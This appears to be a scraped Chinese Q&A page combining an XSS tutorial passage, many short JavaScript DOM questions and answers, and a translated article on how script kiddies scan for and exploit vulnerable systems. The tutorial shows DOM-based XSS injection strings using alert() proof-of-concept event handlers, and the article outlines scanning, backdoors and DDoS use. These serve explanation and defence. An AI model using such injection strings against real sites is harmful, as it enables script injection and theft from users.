Payload(XSS攻击代码)必须在我们希望攻击的同一个域下触发。例如攻击者如果想窃取在www.a.com下的cookie,那就必须在www.a.com这个域(可以是不同页面,但要保证是同一个域)下的的某一个页面放置XSS代码,可以是存储型,也可以是反射型或DOM Baesd型的。4. XSS攻击的种类对XSS的分类没有明确的标准,但业界普遍将XSS攻击分为三类。反射型XSS(non-persistent XSS), 存储型XSS(persistent XSS), DOM Based XSS4.1 非持久性跨站点脚本攻击非持久性XSS也称为反射型跨站漏洞。它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。如果你看了我们上面所示的例子,第一个例子是一个非持久的XSS攻击。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。4.2 持久的跨站点脚本攻击持久型跨站点脚本也称为存储跨站点脚本。它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。在上面的示例中,第二个例子就展示了一个持久的XSS攻击。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。4.3 基于dom的跨站点脚本攻击基于DOM的XSS有时也称为type0 XSS。当用户能够通过交互修改浏览器页面中的DOM(Document Object Model)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。?12345678910<script>function test(){var str = document.getElementById("text").value;document.getElementById("t").innerHTML = "<a href="" + str + "" >testLink</a>";}</script><div id="t"></div><input type="text" id="text" value="" /><input type="button" id="s" value="write" onclick="test()" />在这个场景中,代码修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入到页面中,这就造成了DOM Based XSS" onclick=alert(/xss/) "输入后,页面代码就变成了:<a href="" onclick=alert(/xss/) "" >testLink</a>点击这个新生成的链接,脚本将被执行。实际上,这里还有另外一种利用方式—除了构造一个新事件外,还可以选择闭合掉<a>标签,并插入一个新的HTML标签:"><img src=# onerror=alert(/xss2/) /><"页面代码变成了:<a href=""><img src=# onerror=alert(/xss2/) /><"" >testLink</a>5. XSS漏洞产生的原因跨站点脚本的主要原因是程序猿对用户的信任。开发人员轻松地认为用户永远不会试图执行什么出格的事情,所以他们创建应用程序,却没有使用任何额外的代码来过滤用户输入以阻止任何恶意活动。另一个原因是,这种攻击有许多变体,用制造出一种行之有效的XSS过滤器是一件比较困难的事情。但是这只是相对的,对用户输入数据的”编码”和”过滤”在任何时候都是很重要的,我们必须采取一些针对性的手段对其进行防御。

求CURL获取JAVASCRIPT生成动态内容的方法 - 技术问答

不清楚你curl是基于命令行还是其它语言,但有一点可以肯定的是,你可能需要一个js 解释器。试试下面两个:‘无头"浏览器:PhantomJS PHP: V8Js

草稿是draft/script?

draft

javascript如何在div的后面添加一个其他的元素

提供这样一个思路:获取目标div的下一个元素、下下个元素,保存为一个数组。然后再添加新的元素,在循环将数组中的元素加到新元素的后面。

JavaScript中如何通过一个元素去查找该元素的子元素节点

在Javascript中,可以通过 children 来获取所有子节点。children只返回HTML节点,甚至不返回文本节点,虽然不是标准的DOM属性,但是得到了几乎所有浏览器的支持。语法: nodeObject.children其中,nodeObject 为节点对象(元素节点),返回值为所有子节点的集合(数组)。注意:在IE中,children包含注释节点。(转自:http://www.itxueyuan.org/view/6349.html)

如何使用javascript自动添加选择题选项前面的abcd

<!-- 写了个这样的--><html><body onload="load()"><div onclick="youcheck()"><input type="Radio" name="answer" ></input><input type="Radio" name="answer" ></input><input type="Radio" name="answer" ></input><input type="Radio" name="answer" ></input></div><div id="show"></div><script>var arr = ["A", "B", "C", "D"];function load() {var check = document.getElementsByTagName("input");for (var i = 0; i < check.length; i++) {check[i].value = arr[i];if (check[i].nextSibling.nodeType == 1) {var el = check[i].nextSibling.nextSibling;} else {el = check[i].nextSibling;}el.nodeValue = arr[i];}}function youcheck() {var check = document.getElementsByTagName("input");for (var i = 0; i < check.length; i++) {if (check[i].checked) {document.getElementById("show").innerHTML=check[i].value;}}}</script></body></html>

Javascript中DOM运行时的一个问题???

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>DOM adding</title> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1" /> <script type = "text/javascript"> <!-- function makeNode(str){ var newParagraph = document.createElement("p"); var newText = document.createTextNode(str); newParagraph.appendChild(newText); return newParagraph; } function appendBefore(nodeId,str){ var node = document.getElementById(nodeId); var newNode = makeNode(str); if(node.parentNode) node.parentNode.insertBefore(newNode,node); } function insertWidthin(nodeId,str){ var node = document.getElementById(nodeId); var newNode = makeNode(str); node.appendChild(newNode); } function appendAfter(nodeId,str){ var node = document.getElementById(nodeId); var newNode = makeNode(str); //if(){ if(node.nextSibling) { node.parentNode.insertBefore(newNode,node.nextSibling); } else { node.parentNode.appendChild(newNode); } } //--> </script> </head> <body> <h1>DOM Insert and Append</h1> <!--script> alert("body Ok!!"); </script--> <hr> <div style ="background-color:#66ff00"> <div id="innerDiv" style="background-color:#ffcc00;"></div> </div> <hr> <form id ="form1" name = "form1" action ="#" method ="get"> <input type ="text" id ="field1" name = "field1"> <input type ="button" value="Before" onclick="appendBefore("innerDiv",document.form1.field1.value);"> <input type ="button" value="Middle" onclick="insertWidthin("innerDiv",document.form1.field1.value);"> <input type ="button" value="After" onclick="appendAfter("innerDiv",document.form1.field1.value);"> </form> </body> </html>

javascript 改变数组的长度

因为myar1数组声明时未赋值。而你对input 绑定onclick事件。必须触发onclick事件才能将myar1赋值为["1","2","3"];不然,myar1就是个空数组。当你在输入框输入数字时,获取的值肯定是undefined。

script kiddie攻击是什么

什么叫Script Kiddie Script kiddie是一些专门找寻一些容易下手资源的人,他们不专门针对某种特定信息或者目标特定公司,他们的目标是尽可能的用最简单的方法获得ROOT,他们通过搜集一些公开的exploit信息并搜索整个Internet来找寻有这种exploit漏洞的资源,这样,不管怎样,总有某些人会被他们操作。 其中一些高级点的家伙会开发他们自己的工具,并留下一些复杂的后门,另外一些根本就不知道他们做什么,就知道怎样在命令行打"go"的人。忽略他们的技术水平不说,Script kiddie就是共享一些公共策略,随机搜索某个特殊漏洞并利用这个特殊漏洞的人。 他们形成的威胁在哪里? 由于Script kiddie是随机选择目标,所以存在的威胁是你的系统迟早会被扫描到,我知道管理员很惊讶他们的系统在设置以后没几天也没有告诉任何人的时候就被扫描到了,其实这一点也不值得惊讶,因为Scritp kiddie一般是扫描一段网络来操作的。 如果扫描只能限制在几个独立的资源,你可能会很安心,因为Internet上千千万万的机器,扫描到你的机器的几率少之又少。但是,事实不是你想象的这样,目前多数工具能很方面的使用大范围扫描并广泛传播,任何人可以使用他们,使用这些工具的人数增长率呈现惊人的速率。Internet是一个无国界的区域,这种威胁就很快转播到世界各个地方,有这么多人使用这些工具,你被探测就不是问题了。 试图以含糊其词来搪塞你的安全问题会害了你:你或许会认为没有人知道你的系统,你就会安全,或者你认为你的系统没有价值,他们为何要探测你,其实这些系统正是scritp kiddies搜寻的目标--没有任何保护的系统,非常容易得手的系统。 具体方法讨论 Scritp kiddie的方法很简单,扫描Internet有特定缺陷的系统,一但查找到,便对它下手,他们用的许多工具会自动操作,不需要很多的交互。你只要打开工具,然后过几天回来看看你的结果就可以了。没有两个工具是相同的就象没有两个漏洞是一样的,但是虽然如此,许多工具的策略是一样的,第一,开发要扫描的IP段,然后扫描这些IP段中特定的漏洞。 例如:我们假定一个用户有一个工具可以利用Linux系统上的imap漏洞,如imapd_exploit.c,开始,他们开发一IP数据库来扫描,一旦IP数据库构建好,用户会想判断系统是否运行LINUX系统。目前许多扫描器可以通过发送不正常的信息包到目标系统并查看他们如果响应便可很方便的判断操作系统,如Fyodor的nmap,然后,工具会判断LINUX系统是否运行着imap服务,最后就是利用imapd_exploit.c程序来进入系统了。 你会想所以这些扫描会有很大的动静,很容易引起注意,但是,很多人没有很好的监视他们的系统,并不认识到他们正被扫描,而且,许多script kiddies在查看他们所要利用的系统时也会保持相当的安静,一旦他们利用这个漏洞进入系统,他们就会使用这个系统作为跳板,并不带任何包袱的扫描整个系统,因为如果这种扫描被抓获,责任是系统管理员而不是那些script-kiddie。 所有这些扫描的结果经常被用来归档或者在其他用户中共享,以便在以后的日子里使用,如用户在最初为了某个漏洞扫描出来的LINUX系统开了那些端口的数据库后,过一点时间,一个新的漏洞被发现以后,用户可以不用重新构建或者扫描新的IP段,他可以很方便的来查看以前归档的数据库并来利用这个新发现的漏洞。其他变相的,用户可以交流或者买卖有漏洞系统的数据库。你可以看Know Your Enemy: Motives文章中的例子,这样造成scritp kiddie可以不扫描系统而破坏你的资源。 有些Black-hats会采用木马或者后门来种植在破坏的系统中,后门允许方便的随时的让攻击者来访问你的系统,而木马使入侵者难于被发现,这些技术可以让他们的操作不显示在任何LOG记录,系统进程或者文件结构上,他可以构建一个舒适安全的环境来扫描Internet,跟详细的信息请看:Know Your Enemy: III。 这些攻击没有限制在一天中的任何时间,许多管理员搜索他们的LOG记录来查询当晚发生了什么,并相信这是攻击者的攻击时间,其实script kiddies在任意时间进行攻击,他们一天24小时的进行扫描,你根本不能考虑到你什么时候会被探测到。而且由于Internet的无边界性,时间也就不确定了,攻击者当地在午夜在攻击,而你这里可能是在当地时间下午一点种。 以上对系统漏洞的扫描可以用于多种用途,近来,一种新的拒绝服务攻击--分布式拒绝服务攻击DDoS,就是攻击者一个人控制了很多台有漏洞的系统,他可以遥控这些控制的系统来共同对目标系统执行拒绝服务攻击。由于多个系统被使用,所以防卫和判断源攻击地也变的非常困难。要控制多个系统,Script kiddie的策略就变的很有用,有漏洞的系统随机被判断并用来作为DDOS的垫板,越多的系统被控制,DDOS攻击的强度就越大。如stacheldraht,要了解关于更多的分布式拒绝服务攻击和怎样保护自己,请查看Paul Ferguson站上的Denialinfo。 工具 这些工具一般使用起来很见大,许多工具一般只是几个选项来完成单个目标,开始工具用来构建IP数据库,这些工具很随机的扫描Internet,如一个工具有一个单一的选项,A,B和C,你可以选择一个字母来决定要扫描的网络大小,这工具然后就选择A,B,C相应的IP网络进行扫描。另一个工具使用域名如z0ne,这个工具通过对域名和子域名的区域传输操作来构造IP数据库,用户通过扫描整个.com或者.edu域来获得2百万或者更多的IP数据库,一旦发现这些IP,它们就被会被工具用户判断版本名字,操作系统,所运行的服务,如果发现系统有漏洞,black-hat就会马上进行攻击。要更好的理解这些工具,请看Know Your Enemy: Forensics。 怎样防止这类威胁 下面的一些步骤你可以比较好的保护你的系统,第一,script kiddie一般找寻容易下手的对象,如一些很公开很容易得手的漏洞系统,保证你的系统和网络不受这些漏洞的影响,http://www.cert.org/ 和http://www.ciac.org/是了解这些漏洞很好的资料库。同样地,bugtraq (securityfocus.com的一个邮件列表 ) 也是获得这些漏洞信息很好的地方。另一个保护你自己的方法是只运行你需要的服务,如果你不需要某个服务,关掉它,如果你确实要使用某个服务,确保你的服务版本是最新的。要怎样操作,请看这些文章:Armoring Solaris , Armoring Linux 或者Armoring NT. 上面知道,DNS服务器是经常被用来找寻IP数据库的对象之一,你必须在你的名字服务器上限制区域传送的操作,记录任何未认证的区域传输并跟踪他们。我强烈建议升级BIND到最新的版本,你可以在下面的地址找到:www.isc.org/bind.html. 最后监视你被探测的系统,你可以跟踪这些探测操作获得更多对你网络有威胁的举动。 总结 Scritp kiddie会对所有系统有威胁,他们没有任何偏爱,任何系统他们都挑,不计较地点和价值。不管怎样,你迟早会被扫描到。通过了解他们的动机和方法,你可以很好的对付这些威胁而更好的保护你的系统。

怎么使用javascript(不要使用jquery)检测元素是否溢出(超出边框?

不管是jquery还是javasctipt其原理完全一样的,首先你要获取到容器元素的宽度,在计算出容器里面横排元素的宽度、边框、间距之和有没有大于容器的宽度,如果大于在进行你自己的操作,如隐藏!获取宽度:documentById("x").style.offsetWidth

index.html?id=1 JavaScript获取id值

/*** 此函数用以获取指定参数名的url请求参数值* 参数 name: 请求的参数名* 返回值: 请求的参数* 如果请求的参数不存在,返回 “”*/function getQueryString(name){ var reg = new RegExp("(^|&)"+ name +"=([^&]*)(&|$)"); //window.location.search 用以获取请求的参数,即url中"?"后面的部分 var r = window.location.search.substr(1).match(reg); if(r!=null) return unescape(r[2]); return "";}//用法如下:var id = "";id = getQueryString("id");

javascript关于鼠标的移入移除事件的问题

onmouseout就是鼠标移出事件(out就是外面的意思),如果你觉得不行,那就是你的代码有问题。你试试下面的代码就知道了:<div style="width:100px; height:100px; border:1px solid #00" onmouseover="this.innerText="鼠标移入";" onmouseout="this.innerText="鼠标移出";"></div>

javascript鼠标移入移出事件

要么就hover的时候增加width来连接二级菜单要么就二级菜单加个底层背景.大小可以接上一级菜单 不过只有右边可以离开二级菜单时隐藏了或者做成点击事件.直接解决

使用JavaScript代码给每个li列表加两个鼠标事件onmouseover和onmouseout

这个css就能实现吧?li div{display:none;}li:hover div{display:block;}

javascript在使用过程中,浏览器之间存在什么样的差异

基本没什么差异、、但是会有一些属性是个别浏览器特有的,其它浏览器没有。。

javascript如何为一个节点的子节点添加事件

document.getElementById("aaa").document.getElementsByTagName("p").addEvent("onclick",test);

(HTML JS javascript) js 中如何得到本标签位于父标签中的第几个?

方法1:这段HTML代码是不是服务器端脚本生成,加一个序号属性,这样最简单明了。方法2:申请计数器变量,写循环在 currentNode.parentElement.children 集合中比对。 不过还是强烈建议用 jquery 选择器处理这类问题

如何用javascript设置table的td的id

分类: 电脑/网络 >> 程序设计 >> 其他编程语言 问题描述: <TABLE id="aaa"> <TR> <TD>s1</TD> <TD>s2</TD> </TR> <TR> <TD>s3</TD> <TD>s4</TD> </TR> </TABLE> 一个表格如上,如何用javascript把内容为s3的td的ID设置为ss3 ???? 解析: 参考一下这段,把代码直接贴到文件即可使用 <style>body,td,div,a,input{font:menu;line-height:150%}</style> <table cellspacing=1 cellpadding=1 border=0 width=100% id=t136><tbody><form method=post enctype="multipart/form-data"><input type=hidden name=deal value=true><input type=hidden name=frmID value=22><input type=hidden name=thisdir value=><input type=hidden name=TID value=><tr class="page_speeder_1153071515" bgcolor=ACD0FD><td colspan=2>呵呵</td></tr><tr bgcolor=EFEFD6><td colspan=2><font color=000080>哈哈</font></td></tr><input type=hidden name=frmShowURL value=payment><input type=hidden name=ID value=><tr bgcolor=F0F0F0><td>xixi</td><td>xixi </td></tr><tr bgcolor=F9F9F9><td>hehe</td><td><input type=text class=border_index name=newdir style="ime-mode:disabled"><font color=000080>hehe</font> </td></tr><tr bgcolor=F0F0F0><td>新图片上传</td><td><div> <input type=button onclick=addNew() value=增加 class=button_index><font color=000080>(按一次增加按钮就可以上传一张图片。)</font></div></td></tr><tbody></table></form><script> var i=0,arr=new Array("F9F9F9","F0F0F0"); function addNew(){ tr=document.all.t136.insertRow(); tr.style.backgroundColor=arr[i%2]; tr.insertCell().innerText="图片"+(++i); tr.insertCell().innerHTML="<input type=file name=pic"+i+" class=border_index> <a href=javascript:void(0) onclick=del()>删除</a>" } function del(){ document.all.t136.deleteRow(window.event.srcElement.parentElement.parentElement.rowIndex); for(i=0;i<document.all.t136.rows.length-5;i++){ document.all.t136.rows[i+5].cells[0].innerText="图片"+(i+1); document.all.t136.rows[i+5].cells[1].children[0].name="pic"+(i+1); document.all.t136.rows[i+5].style.backgroundColor=arr[i%2]; } } </script>

javascript的parentNode,parentElement

parentElement 是IE专用属性,parentNode 是W3C标准属性,parentElement 指的是该元素的父元素,parentNode指的是该DOM元素节点的上级节点
 首页 上一页  1 2 3 4 5 6 7 8 9  下一页  尾页